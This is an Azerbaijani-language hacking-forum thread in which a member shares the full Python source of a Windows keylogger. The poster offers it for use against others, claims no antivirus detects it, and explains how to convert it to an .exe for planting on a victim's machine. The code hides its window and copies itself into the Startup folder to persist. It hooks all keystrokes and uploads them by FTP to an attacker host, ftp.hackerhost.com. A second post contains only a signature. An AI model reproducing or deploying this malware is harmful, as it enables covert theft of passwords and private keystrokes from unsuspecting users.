Istifadəçi |
2015-07-27 17:10 GMT |
|
|
|
Gold |
|
Mesaj Sayı : 308 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 35 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : W00t W00t |
Ölkə : |
Məslək : Cyber Security Specialist |
Yaş : |
Mesaj : |
|
Salam dostlar. Bu gün sizə öz yazdığım kiçik keyloggeri verəcəm.
Script təmamilə Pythonda yazılıb. Bu script özünü autorun a ataraq hər dəfə sistem başlayanda işə düşür.
FTP özəlliyi ilə sizin remote serverə keystroke ları ötürür))
Sadəcə içindəki FTP credentialları sizə uyğun dəyişin.
Sual gələ bilər ki bəs .py necə soxum ki işləsin? Py2Exe və ya Pyinstaller ilə .py uzantılı faylı .exe çevirə bilərsiz. (Py2Exe must have xD Daha stabil və yaxşı işləyir).
AntiVirus ların heçbiri tutmur.Təmamilə FUD haldadır.
Sizə qalan scripti azca editləyib .exe yə convert etməkdi.
Step fikirlərivi gözləyirəm)
QEYD: Əgər aşağıda verdiyim kod icra olunanda İntend Error versə Pastebindən copy edin. Pythonda <TAB> və boşluq həyati əhəmiyyət daşıyır(Blok məntiqi intendlə işləyir çünki). Birdəki bunu işlətmək üçün PyHook və PyWin library ləri install olunmalıdır sizdə.
http://pastebin.com/g9zURFXX
Kod: import pythoncom, pyHook
import os
import sys
import ftplib
import datetime,time
import win32event, win32api, winerror
import random,string
import getpass
import shutil
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
exit(0)
x=''
data=''
count=0
def checkfor():
username = getpass.getuser()
fullpath = os.sep.join(["C:","Users",username,"AppData","Roaming","Microsoft","Windows","Start Menu","Programs","Startup"])
nameofscript = sys.argv[0].split(os.sep)
nameofscript = nameofscript[len(nameofscript)-1]
if(not os.path.isfile(os.sep.join([fullpath,nameofscript]))):
shutil.copy2(os.sep.join([os.getcwd(),nameofscript]), os.sep.join([fullpath,nameofscript]))
checkfor()
def hide():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
def ftp():
global data,count
if len(data)>15:
count+=1
FILENAME="logs-"+str(count)+"-"+random_s()+".txt"
fp=open(FILENAME,"a")
fp.write(data)
fp.close()
data=''
try:
SERVER="ftp.hackerhost.com"
USERNAME="ftp_username"
PASSWORD="ftp_password"
SSL=0
OUTPUT_DIR="/"
if SSL==0:
ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
elif SSL==1:
ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
ft.cwd(OUTPUT_DIR)
fp=open(FILENAME,'rb')
cmd= 'STOR' +' '+FILENAME
ft.storbinary(cmd,fp)
ft.quit()
fp.close()
os.remove(FILENAME)
except Exception as e:
pass
return True
def write():
global data,count
if(len(data)>15):
count+=1
FILENAME="logs-"+str(count)+"-"+random_s()+".txt"
fp=open(FILENAME,"a")
fp.write(data)
fp.close()
data=''
def random_s():
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(45))
def main():
global x
x=4
hide()
return True
main()
def keypressed(event):
global x,data
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
else:
keys=chr(event.Ascii)
data=data+keys
if x==4:
ftp()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard();
pythoncom.PumpMessages()
Vətən Sağ olsun!
Duman salamat qal, Dağ salamat qal..
|
Anti-armenia.ORG |
|
Istifadəçi |
2015-08-04 12:15 GMT |
|
|
|
Admin |
|
Mesaj Sayı : 1875 |
Mövzu Sayı : |
Rep Ver : |
Rep Sayı : 45 |
Indi Saytda : |
Cinsiyyət : Oğlan |
|
Şəhər : Anti-armenia.ORG |
Ölkə : |
Məslək : Programmer & Defacer |
Yaş : 12 |
Mesaj : |
|
|
Anti-armenia.ORG |
|